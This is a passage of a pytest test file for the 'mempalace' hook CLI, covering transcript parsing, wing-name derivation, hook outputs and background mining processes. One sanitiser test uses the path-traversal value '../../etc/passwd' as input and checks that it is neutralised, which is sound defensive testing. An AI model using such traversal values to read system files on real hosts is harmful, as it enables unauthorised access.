1772 lines
68 KiB
Python
1772 lines
68 KiB
Python
import contextlib
|
|
import io
|
|
import json
|
|
import os
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
import pytest
|
|
|
|
import mempalace.hooks_cli as hooks_cli_mod
|
|
from mempalace.hooks_cli import (
|
|
SAVE_INTERVAL,
|
|
_count_human_messages,
|
|
_extract_recent_messages,
|
|
_get_mine_targets,
|
|
_log,
|
|
_maybe_auto_ingest,
|
|
_mempalace_python,
|
|
_mine_already_running,
|
|
_mine_sync,
|
|
_parse_harness_input,
|
|
_sanitize_session_id,
|
|
_validate_transcript_path,
|
|
_wing_from_transcript_path,
|
|
hook_stop,
|
|
hook_session_start,
|
|
hook_precompact,
|
|
run_hook,
|
|
_claim_mine_slot,
|
|
_pid_file_for_cmd,
|
|
)
|
|
|
|
|
|
@pytest.fixture(autouse=True)
|
|
def _isolated_existing_palace_root(monkeypatch, tmp_path):
|
|
"""Give every test an isolated, *existing* PALACE_ROOT/STATE_DIR.
|
|
|
|
Regression for #1510: nine save / log / precompact tests assumed
|
|
``~/.mempalace`` existed and only passed in the full suite because an
|
|
earlier test file (``test_cli.py``) created it as a side effect, so
|
|
the ``_palace_root_exists()`` kill-switch was satisfied. Run in
|
|
isolation they short-circuited and failed.
|
|
|
|
Defaulting every test to a per-test palace root that exists makes
|
|
them robust on their own and protects future tests from the same
|
|
trap. ``_MINE_PID_DIR`` is patched too: it is derived from
|
|
``STATE_DIR`` *at module import* (hooks_cli.py:277), so patching
|
|
``STATE_DIR`` alone would leave mine-spawning tests writing PID files
|
|
under the import-time location instead of the per-test root. The
|
|
state dir is created so the docstring's "existing" promise holds.
|
|
|
|
Tests that exercise the absent-root kill-switch path call
|
|
``_redirect_palace_root`` (or set their own PALACE_ROOT) *after* this
|
|
fixture; ``monkeypatch``'s last-write-wins means they keep their
|
|
absent/file root and teardown still restores the real module value.
|
|
"""
|
|
root = tmp_path / ".mempalace"
|
|
state_dir = root / "hook_state"
|
|
state_dir.mkdir(parents=True, exist_ok=True)
|
|
monkeypatch.setattr(hooks_cli_mod, "PALACE_ROOT", root)
|
|
monkeypatch.setattr(hooks_cli_mod, "STATE_DIR", state_dir)
|
|
monkeypatch.setattr(hooks_cli_mod, "_MINE_PID_DIR", state_dir / "mine_pids")
|
|
monkeypatch.setattr(hooks_cli_mod, "_state_dir_initialized", False)
|
|
return root
|
|
|
|
|
|
# --- _mempalace_python ---
|
|
|
|
|
|
def test_mempalace_python_returns_string():
|
|
result = _mempalace_python()
|
|
assert isinstance(result, str)
|
|
assert "python" in result
|
|
|
|
|
|
def test_mempalace_python_finds_venv():
|
|
"""Should resolve to a valid Python interpreter path."""
|
|
result = _mempalace_python()
|
|
assert result and "python" in os.path.basename(result).lower()
|
|
|
|
|
|
def test_mempalace_python_handles_shallow_path_without_crashing(monkeypatch):
|
|
"""Regression: _mempalace_python must not raise IndexError when the
|
|
package lives at a shallow filesystem path.
|
|
|
|
The function used to index ``Path(__file__).resolve().parents[3]`` to
|
|
find the venv root for the standard ``<venv>/lib/python3.X/site-packages/
|
|
mempalace/`` install. In editable installs at a shallow path (Docker
|
|
containers mounting at ``/work``, ``/opt/app``, etc.), ``parents`` has
|
|
fewer than 4 elements and the bare index would raise ``IndexError``.
|
|
Affected sites: Docker-based dev, OrbStack-style cross-platform CI,
|
|
minimal-prefix production installs.
|
|
|
|
The fix uses ``len(parents)`` LBYL checks so the function falls through
|
|
to the editable-install branch (``parents[1]``) and ultimately to
|
|
``sys.executable``, instead of crashing.
|
|
"""
|
|
from pathlib import Path as RealPath
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
# Build a fake parents sequence with only 3 elements (indices 0, 1, 2);
|
|
# ``parents[3]`` would raise IndexError if accessed. Production code
|
|
# uses ``len(parents) > 3`` LBYL guard to skip that branch, so the
|
|
# IndexError should never actually fire — but ``side_effect`` keeps it
|
|
# defensive against a future regression that drops the length check.
|
|
def get_item(idx):
|
|
if idx == 1:
|
|
return RealPath("/work/mempalace")
|
|
raise IndexError(idx)
|
|
|
|
fake_parents = MagicMock()
|
|
fake_parents.__len__.return_value = 3
|
|
fake_parents.__getitem__.side_effect = get_item
|
|
|
|
fake_path = MagicMock()
|
|
fake_path.resolve.return_value.parents = fake_parents
|
|
|
|
with patch("mempalace.hooks_cli.Path", return_value=fake_path):
|
|
# Must not raise; must return SOME string (either editable-venv
|
|
# fallback path or sys.executable).
|
|
result = _mempalace_python()
|
|
assert isinstance(result, str)
|
|
assert "python" in result.lower()
|
|
|
|
|
|
# --- _sanitize_session_id ---
|
|
|
|
|
|
def test_sanitize_normal_id():
|
|
assert _sanitize_session_id("abc-123_XYZ") == "abc-123_XYZ"
|
|
|
|
|
|
def test_sanitize_strips_dangerous_chars():
|
|
assert _sanitize_session_id("../../etc/passwd") == "etcpasswd"
|
|
|
|
|
|
def test_sanitize_empty_returns_unknown():
|
|
assert _sanitize_session_id("") == "unknown"
|
|
assert _sanitize_session_id("!!!") == "unknown"
|
|
|
|
|
|
# --- _count_human_messages ---
|
|
|
|
|
|
def _write_transcript(path: Path, entries: list[dict]):
|
|
with open(path, "w", encoding="utf-8") as f:
|
|
for entry in entries:
|
|
f.write(json.dumps(entry) + "\n")
|
|
|
|
|
|
def test_count_human_messages_basic(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[
|
|
{"message": {"role": "user", "content": "hello"}},
|
|
{"message": {"role": "assistant", "content": "hi"}},
|
|
{"message": {"role": "user", "content": "bye"}},
|
|
],
|
|
)
|
|
assert _count_human_messages(str(transcript)) == 2
|
|
|
|
|
|
def test_count_skips_command_messages(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[
|
|
{
|
|
"message": {
|
|
"role": "user",
|
|
"content": "<command-message>status</command-message>",
|
|
}
|
|
},
|
|
{"message": {"role": "user", "content": "real question"}},
|
|
],
|
|
)
|
|
assert _count_human_messages(str(transcript)) == 1
|
|
|
|
|
|
def test_count_handles_list_content(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[
|
|
{
|
|
"message": {
|
|
"role": "user",
|
|
"content": [{"type": "text", "text": "hello"}],
|
|
}
|
|
},
|
|
{
|
|
"message": {
|
|
"role": "user",
|
|
"content": [{"type": "text", "text": "<command-message>x</command-message>"}],
|
|
}
|
|
},
|
|
],
|
|
)
|
|
assert _count_human_messages(str(transcript)) == 1
|
|
|
|
|
|
def test_count_missing_file():
|
|
assert _count_human_messages("/nonexistent/path.jsonl") == 0
|
|
|
|
|
|
def test_count_empty_file(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
transcript.write_text("")
|
|
assert _count_human_messages(str(transcript)) == 0
|
|
|
|
|
|
def test_count_malformed_json_lines(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
transcript.write_text('not json\n{"message": {"role": "user", "content": "ok"}}\n')
|
|
assert _count_human_messages(str(transcript)) == 1
|
|
|
|
|
|
# --- _extract_recent_messages ---
|
|
|
|
|
|
def test_extract_recent_messages_basic(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(5)],
|
|
)
|
|
msgs = _extract_recent_messages(str(transcript), count=3)
|
|
assert len(msgs) == 3
|
|
assert msgs[0] == "msg 2"
|
|
assert msgs[2] == "msg 4"
|
|
|
|
|
|
def test_extract_recent_messages_skips_commands(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[
|
|
{"message": {"role": "user", "content": "real msg"}},
|
|
{"message": {"role": "user", "content": "<command-message>status</command-message>"}},
|
|
{"message": {"role": "user", "content": "<system-reminder>hook</system-reminder>"}},
|
|
],
|
|
)
|
|
msgs = _extract_recent_messages(str(transcript))
|
|
assert len(msgs) == 1
|
|
assert msgs[0] == "real msg"
|
|
|
|
|
|
def test_extract_recent_messages_missing_file():
|
|
assert _extract_recent_messages("/nonexistent.jsonl") == []
|
|
|
|
|
|
# --- hook_stop ---
|
|
|
|
|
|
def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None):
|
|
"""Run a hook and capture its JSON stdout output."""
|
|
import io
|
|
from unittest.mock import PropertyMock
|
|
|
|
buf = io.StringIO()
|
|
patches = [
|
|
patch(
|
|
"mempalace.hooks_cli._output",
|
|
side_effect=lambda d: buf.write(json.dumps(d)),
|
|
)
|
|
]
|
|
if state_dir:
|
|
patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir))
|
|
# Mock MempalaceConfig so tests don't depend on user's ~/.mempalace/config.json
|
|
mock_config = MagicMock()
|
|
type(mock_config).hook_silent_save = PropertyMock(return_value=True)
|
|
type(mock_config).hook_desktop_toast = PropertyMock(return_value=False)
|
|
patches.append(patch("mempalace.config.MempalaceConfig", return_value=mock_config))
|
|
with contextlib.ExitStack() as stack:
|
|
for p in patches:
|
|
stack.enter_context(p)
|
|
hook_fn(data, harness)
|
|
return json.loads(buf.getvalue())
|
|
|
|
|
|
def test_stop_hook_passthrough_when_active(tmp_path):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{"session_id": "test", "stop_hook_active": True, "transcript_path": ""},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_stop_hook_passthrough_when_active_string(tmp_path):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{"session_id": "test", "stop_hook_active": "true", "transcript_path": ""},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_stop_hook_passthrough_below_interval(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL - 1)],
|
|
)
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{
|
|
"session_id": "test",
|
|
"stop_hook_active": False,
|
|
"transcript_path": str(transcript),
|
|
},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_stop_hook_saves_silently_at_interval(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
save_result = {"count": 15, "themes": ["hooks", "notifications"]}
|
|
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
|
state_dir=tmp_path,
|
|
)
|
|
# Saves silently — systemMessage notification with themes, no block
|
|
assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace")
|
|
assert "hooks" in result["systemMessage"]
|
|
# tmp_path has no "-Projects-" segment, so _wing_from_transcript_path falls back to "wing_sessions"
|
|
mock_save.assert_called_once_with(str(transcript), "test", wing="wing_sessions", toast=False)
|
|
|
|
|
|
def test_stop_hook_derives_wing_from_transcript_path(tmp_path):
|
|
"""When transcript path looks like a Claude Code path, wing is derived from it."""
|
|
project_dir = tmp_path / ".claude" / "projects" / "-home-jp-Projects-myproject"
|
|
project_dir.mkdir(parents=True)
|
|
transcript = project_dir / "session.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
save_result = {"count": 15, "themes": []}
|
|
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
|
|
_capture_hook_output(
|
|
hook_stop,
|
|
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
|
state_dir=tmp_path,
|
|
)
|
|
mock_save.assert_called_once_with(str(transcript), "test", wing="wing_myproject", toast=False)
|
|
|
|
|
|
def test_stop_hook_tracks_save_point(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
data = {
|
|
"session_id": "test",
|
|
"stop_hook_active": False,
|
|
"transcript_path": str(transcript),
|
|
}
|
|
|
|
# First call saves silently with systemMessage notification
|
|
save_result = {"count": 15, "themes": ["hooks"]}
|
|
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
|
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
|
|
assert "systemMessage" in result
|
|
|
|
# Second call with same count passes through (already saved)
|
|
with patch("mempalace.hooks_cli._save_diary_direct") as mock_save:
|
|
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
|
|
assert result == {}
|
|
mock_save.assert_not_called()
|
|
|
|
|
|
# --- hook_session_start ---
|
|
|
|
|
|
def test_session_start_passes_through(tmp_path):
|
|
result = _capture_hook_output(
|
|
hook_session_start,
|
|
{"session_id": "test"},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
# --- hook_precompact ---
|
|
|
|
|
|
def test_precompact_allows(tmp_path):
|
|
result = _capture_hook_output(
|
|
hook_precompact,
|
|
{"session_id": "test"},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
# --- _wing_from_transcript_path ---
|
|
|
|
|
|
def test_wing_from_transcript_path_extracts_project():
|
|
path = "/home/jp/.claude/projects/-home-jp-Projects-memorypalace/session.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_memorypalace"
|
|
|
|
|
|
def test_wing_from_transcript_path_fallback():
|
|
assert _wing_from_transcript_path("/some/random/path.jsonl") == "wing_sessions"
|
|
|
|
|
|
def test_wing_from_transcript_path_windows_backslashes():
|
|
path = "C:\\Users\\jp\\.claude\\projects\\-home-jp-Projects-myapp\\session.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_myapp"
|
|
|
|
|
|
def test_wing_from_transcript_path_lowercases():
|
|
path = "/home/jp/.claude/projects/-home-jp-Projects-MyProject/session.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_myproject"
|
|
|
|
|
|
def test_wing_from_transcript_path_non_projects_layout():
|
|
# Linux user with code under ~/dev/. The encoded form ``dev-MemPalace-mempalace``
|
|
# is ambiguous between ``~/dev/MemPalace/mempalace/`` (project = mempalace) and
|
|
# ``~/dev/MemPalace-mempalace/`` (hyphenated single-name project). With no JSONL
|
|
# cwd to disambiguate, we preserve all post-``dev-`` segments rather than silently
|
|
# truncating to the last token (which would drop ``MemPalace`` here and collide
|
|
# with any other ``-mempalace`` leaf elsewhere on the system).
|
|
path = "/home/igor/.claude/projects/-home-igor-dev-MemPalace-mempalace/session.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_mempalace_mempalace"
|
|
|
|
|
|
def test_wing_from_transcript_path_macos_users_layout():
|
|
# macOS ~/ layout without a Projects/ segment — single-token project name
|
|
# so the heuristic produces the same result as the leaf-only approach.
|
|
path = "/Users/alice/.claude/projects/-Users-alice-code-MyApp/session.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_myapp"
|
|
|
|
|
|
def test_wing_from_transcript_path_nested_deep():
|
|
# Deep tree: ``-home-bob-work-clients-acme-frontend``. Without JSONL cwd we
|
|
# can't tell whether ``frontend`` is the project, ``acme-frontend`` is a
|
|
# hyphenated project, or the project lives several levels in. Strip the
|
|
# user-home and one common parent (``work-``), then keep the remaining
|
|
# path as the wing — collision-safe even if multiple clients have a
|
|
# ``frontend/`` subdir.
|
|
path = "/home/bob/.claude/projects/-home-bob-work-clients-acme-frontend/session.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_clients_acme_frontend"
|
|
|
|
|
|
# --- _wing_from_transcript_path: hyphenated project names (issue #1410) ---
|
|
|
|
|
|
def test_wing_from_transcript_path_hyphenated_claude_code():
|
|
"""Regression: ``claude-code`` was truncated to ``wing_code`` (#1410)."""
|
|
path = "/Users/me/.claude/projects/-Users-me-claude-code/abc.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_claude_code"
|
|
|
|
|
|
def test_wing_from_transcript_path_hyphenated_react_native():
|
|
"""Regression: ``react-native`` was truncated to ``wing_native`` (#1410)."""
|
|
path = "/Users/me/.claude/projects/-Users-me-react-native/abc.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_react_native"
|
|
|
|
|
|
def test_wing_from_transcript_path_no_collision_between_hyphenated_siblings():
|
|
"""Regression: ``customer-portal`` and ``admin-portal`` both truncated to
|
|
``wing_portal`` under the old heuristic, merging diary entries from two
|
|
independent projects into one wing (#1410)."""
|
|
customer = _wing_from_transcript_path(
|
|
"/Users/me/.claude/projects/-Users-me-customer-portal/abc.jsonl"
|
|
)
|
|
admin = _wing_from_transcript_path(
|
|
"/Users/me/.claude/projects/-Users-me-admin-portal/abc.jsonl"
|
|
)
|
|
assert customer == "wing_customer_portal"
|
|
assert admin == "wing_admin_portal"
|
|
assert customer != admin
|
|
|
|
|
|
def test_wing_from_transcript_path_strips_parent_dir_with_hyphenated_project():
|
|
"""Reporter's example: ``-home-alice-projects-react-native`` should keep
|
|
the full project name after stripping the ``projects-`` parent (#1410)."""
|
|
path = "/home/alice/.claude/projects/-home-alice-projects-react-native/abc.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_react_native"
|
|
|
|
|
|
# --- _wing_from_transcript_path: cwd-from-JSONL primary path ---
|
|
|
|
|
|
def test_wing_from_transcript_path_uses_cwd_from_jsonl(tmp_path):
|
|
"""When the JSONL records ``cwd``, the leaf segment of cwd is the wing —
|
|
even if the encoded folder name would have produced a different (and
|
|
noisier) wing."""
|
|
# Encoded folder says ``-home-igor-dev-MemPalace-mempalace`` (would yield
|
|
# ``wing_mempalace_mempalace`` via fallback), but cwd is the truth.
|
|
project_dir = tmp_path / "-home-igor-dev-MemPalace-mempalace"
|
|
project_dir.mkdir()
|
|
transcript = project_dir / "session.jsonl"
|
|
transcript.write_text(
|
|
'{"type":"queue-operation","operation":"enqueue","timestamp":"2026-05-09T00:00:00Z"}\n'
|
|
'{"type":"user","cwd":"/home/igor/dev/MemPalace/mempalace","content":"hi"}\n',
|
|
encoding="utf-8",
|
|
)
|
|
assert _wing_from_transcript_path(str(transcript)) == "wing_mempalace"
|
|
|
|
|
|
def test_wing_from_transcript_path_cwd_with_hyphenated_project(tmp_path):
|
|
"""cwd primary path correctly handles hyphenated project names without
|
|
truncation."""
|
|
project_dir = tmp_path / "-Users-me-claude-code"
|
|
project_dir.mkdir()
|
|
transcript = project_dir / "session.jsonl"
|
|
transcript.write_text(
|
|
'{"type":"user","cwd":"/Users/me/git/claude-code","content":"hi"}\n',
|
|
encoding="utf-8",
|
|
)
|
|
assert _wing_from_transcript_path(str(transcript)) == "wing_claude_code"
|
|
|
|
|
|
def test_wing_from_transcript_path_cwd_skips_lines_without_cwd(tmp_path):
|
|
"""Lines that lack ``cwd`` (queue-operation, etc.) are skipped; the first
|
|
line that records cwd wins."""
|
|
project_dir = tmp_path / "-Users-me-foo"
|
|
project_dir.mkdir()
|
|
transcript = project_dir / "session.jsonl"
|
|
lines = [
|
|
'{"type":"queue-operation","operation":"enqueue"}',
|
|
'{"type":"queue-operation","operation":"dequeue"}',
|
|
'{"type":"queue-operation","operation":"complete"}',
|
|
'{"type":"tool_use","cwd":"/Users/me/work/real-project","content":"ok"}',
|
|
'{"type":"user","cwd":"/Users/me/somewhere-else","content":"later"}',
|
|
]
|
|
transcript.write_text("\n".join(lines) + "\n", encoding="utf-8")
|
|
# First cwd record wins (line 4, real-project).
|
|
assert _wing_from_transcript_path(str(transcript)) == "wing_real_project"
|
|
|
|
|
|
def test_wing_from_transcript_path_cwd_falls_back_when_no_cwd_in_jsonl(tmp_path):
|
|
"""If no JSONL line has cwd, fall through to the encoded-folder heuristic."""
|
|
project_dir = tmp_path / "-Users-me-no-cwd-project"
|
|
project_dir.mkdir()
|
|
transcript = project_dir / "session.jsonl"
|
|
transcript.write_text(
|
|
'{"type":"queue-operation","operation":"enqueue"}\n'
|
|
'{"type":"queue-operation","operation":"complete"}\n',
|
|
encoding="utf-8",
|
|
)
|
|
# tmp_path leaks into the path before .claude/projects, so the regex
|
|
# won't match and we hit the wing_sessions default. The point of this
|
|
# test: the cwd reader doesn't crash and returns None cleanly.
|
|
result = _wing_from_transcript_path(str(transcript))
|
|
assert result == "wing_sessions"
|
|
|
|
|
|
def test_wing_from_transcript_path_cwd_handles_malformed_jsonl(tmp_path):
|
|
"""Malformed JSON lines must not crash the wing extraction."""
|
|
project_dir = tmp_path / "-Users-me-broken-project"
|
|
project_dir.mkdir()
|
|
transcript = project_dir / "session.jsonl"
|
|
transcript.write_text(
|
|
"this is not json at all\n"
|
|
'{"type":"broken",\n' # truncated mid-record
|
|
'{"type":"valid","cwd":"/Users/me/git/clean-name","content":"ok"}\n',
|
|
encoding="utf-8",
|
|
)
|
|
assert _wing_from_transcript_path(str(transcript)) == "wing_clean_name"
|
|
|
|
|
|
def test_wing_from_transcript_path_cwd_handles_missing_file():
|
|
"""Nonexistent transcript path falls back cleanly to the encoded heuristic."""
|
|
path = "/Users/me/.claude/projects/-Users-me-claude-code/does-not-exist.jsonl"
|
|
assert _wing_from_transcript_path(path) == "wing_claude_code"
|
|
|
|
|
|
def test_wing_from_transcript_path_cwd_handles_non_string_cwd(tmp_path):
|
|
"""A cwd field that isn't a string (e.g. null, number) must be skipped."""
|
|
project_dir = tmp_path / "-Users-me-fallback-name"
|
|
project_dir.mkdir()
|
|
transcript = project_dir / "session.jsonl"
|
|
transcript.write_text(
|
|
'{"type":"x","cwd":null}\n'
|
|
'{"type":"x","cwd":42}\n'
|
|
'{"type":"x","cwd":"/Users/me/git/proper-name"}\n',
|
|
encoding="utf-8",
|
|
)
|
|
assert _wing_from_transcript_path(str(transcript)) == "wing_proper_name"
|
|
|
|
|
|
# --- _log ---
|
|
|
|
|
|
def test_output_writes_to_real_stdout_fd_when_mcp_server_loaded():
|
|
"""_output() must reach fd 1 even when mcp_server has redirected sys.stdout."""
|
|
import types
|
|
|
|
fake_module = types.ModuleType("mempalace.mcp_server")
|
|
|
|
read_fd, write_fd = os.pipe()
|
|
try:
|
|
fake_module._REAL_STDOUT_FD = write_fd
|
|
with patch.dict("sys.modules", {"mempalace.mcp_server": fake_module}):
|
|
from mempalace.hooks_cli import _output
|
|
|
|
_output({"systemMessage": "test"})
|
|
|
|
os.close(write_fd)
|
|
written = b""
|
|
while True:
|
|
chunk = os.read(read_fd, 4096)
|
|
if not chunk:
|
|
break
|
|
written += chunk
|
|
finally:
|
|
os.close(read_fd)
|
|
|
|
data = json.loads(written.decode())
|
|
assert data["systemMessage"] == "test"
|
|
|
|
|
|
def test_output_falls_back_to_fd1_when_mcp_server_absent():
|
|
"""_output() writes to fd 1 directly when mcp_server is not loaded."""
|
|
read_fd, write_fd = os.pipe()
|
|
try:
|
|
orig_fd1 = os.dup(1)
|
|
os.dup2(write_fd, 1)
|
|
os.close(write_fd)
|
|
try:
|
|
modules_without_mcp = {
|
|
k: v for k, v in __import__("sys").modules.items() if "mcp_server" not in k
|
|
}
|
|
with patch.dict("sys.modules", modules_without_mcp, clear=True):
|
|
from mempalace.hooks_cli import _output
|
|
|
|
_output({"continue": True})
|
|
finally:
|
|
os.dup2(orig_fd1, 1)
|
|
os.close(orig_fd1)
|
|
except Exception:
|
|
os.close(read_fd)
|
|
raise
|
|
|
|
written = b""
|
|
while True:
|
|
chunk = os.read(read_fd, 4096)
|
|
if not chunk:
|
|
break
|
|
written += chunk
|
|
os.close(read_fd)
|
|
|
|
data = json.loads(written.decode())
|
|
assert data["continue"] is True
|
|
|
|
|
|
def test_log_writes_to_hook_log(tmp_path):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
_log("test message")
|
|
log_path = tmp_path / "hook.log"
|
|
assert log_path.is_file()
|
|
content = log_path.read_text()
|
|
assert "test message" in content
|
|
|
|
|
|
def test_log_oserror_is_silenced(tmp_path):
|
|
"""_log should not raise if the directory cannot be created."""
|
|
with patch("mempalace.hooks_cli.STATE_DIR", Path("/nonexistent/deeply/nested/dir")):
|
|
# Should not raise
|
|
_log("this will fail silently")
|
|
|
|
|
|
# --- _maybe_auto_ingest ---
|
|
|
|
|
|
def test_maybe_auto_ingest_no_env(tmp_path):
|
|
"""Without MEMPAL_DIR or transcript_path, does nothing."""
|
|
with patch.dict("os.environ", {}, clear=True):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
_maybe_auto_ingest() # should not raise
|
|
|
|
|
|
def test_maybe_auto_ingest_with_env(tmp_path):
|
|
"""With MEMPAL_DIR set, spawns mine in projects mode against that dir."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
_maybe_auto_ingest()
|
|
mock_popen.assert_called_once()
|
|
cmd = mock_popen.call_args[0][0]
|
|
assert "mine" in cmd
|
|
assert str(mempal_dir.resolve()) in cmd
|
|
assert cmd[cmd.index("--mode") + 1] == "projects"
|
|
|
|
|
|
def test_maybe_auto_ingest_uses_mempalace_python(tmp_path):
|
|
"""Spawned mine command uses _mempalace_python(), not bare sys.executable.
|
|
|
|
Hook subprocesses inherit the harness PATH which on GUI-launched
|
|
Claude Code may resolve to a system Python without chromadb. The
|
|
interpreter used here must be the same one the hook itself runs
|
|
under (typically the venv that owns mempalace).
|
|
"""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
with patch(
|
|
"mempalace.hooks_cli._mempalace_python", return_value="/fake/venv/python"
|
|
):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
_maybe_auto_ingest()
|
|
cmd = mock_popen.call_args[0][0]
|
|
assert cmd[0] == "/fake/venv/python"
|
|
|
|
|
|
def test_mine_sync_with_env_uses_projects_mode(tmp_path):
|
|
"""Precompact sync path uses projects mode when MEMPAL_DIR is set."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
|
_mine_sync()
|
|
mock_run.assert_called_once()
|
|
cmd = mock_run.call_args[0][0]
|
|
assert cmd[cmd.index("--mode") + 1] == "projects"
|
|
|
|
|
|
def test_mine_sync_uses_mempalace_python(tmp_path):
|
|
"""Sync mine command uses _mempalace_python(), not bare sys.executable."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._mempalace_python", return_value="/fake/venv/python"):
|
|
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
|
_mine_sync()
|
|
cmd = mock_run.call_args[0][0]
|
|
assert cmd[0] == "/fake/venv/python"
|
|
|
|
|
|
def test_claim_mine_slot_writes_live_placeholder_pid(tmp_path):
|
|
"""Regression #1443: claimed slots must not be empty during spawn startup."""
|
|
cmd = ["mempalace", "mine", "/tmp/proj", "--mode", "projects"]
|
|
pid_dir = tmp_path / "mine_pids"
|
|
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
pid_file = _claim_mine_slot(cmd)
|
|
|
|
assert pid_file == _pid_file_for_cmd(cmd)
|
|
# Format: "{pid} {unix_timestamp}" — first token must be our PID.
|
|
content = pid_file.read_text().strip()
|
|
assert content.split()[0] == str(os.getpid())
|
|
assert _mine_already_running(cmd) is True
|
|
assert _claim_mine_slot(cmd) is None
|
|
|
|
|
|
def test_claim_mine_slot_reclaimed_slot_writes_live_placeholder_pid(tmp_path):
|
|
"""Regression #1443: stale-slot reclaim must also write a live placeholder."""
|
|
cmd = ["mempalace", "mine", "/tmp/proj", "--mode", "projects"]
|
|
pid_dir = tmp_path / "mine_pids"
|
|
|
|
with (
|
|
patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir),
|
|
patch("mempalace.hooks_cli._pid_alive", return_value=False),
|
|
):
|
|
pid_file = _pid_file_for_cmd(cmd)
|
|
pid_file.parent.mkdir(parents=True, exist_ok=True)
|
|
pid_file.write_text("12345")
|
|
|
|
reclaimed = _claim_mine_slot(cmd)
|
|
|
|
assert reclaimed == pid_file
|
|
# Format: "{pid} {unix_timestamp}" — first token must be our PID.
|
|
assert pid_file.read_text().strip().split()[0] == str(os.getpid())
|
|
|
|
|
|
def test_maybe_auto_ingest_ignores_transcript_arg_path(tmp_path):
|
|
"""_maybe_auto_ingest does NOT mine the transcript directory.
|
|
|
|
Transcript convos are handled by _ingest_transcript (called separately
|
|
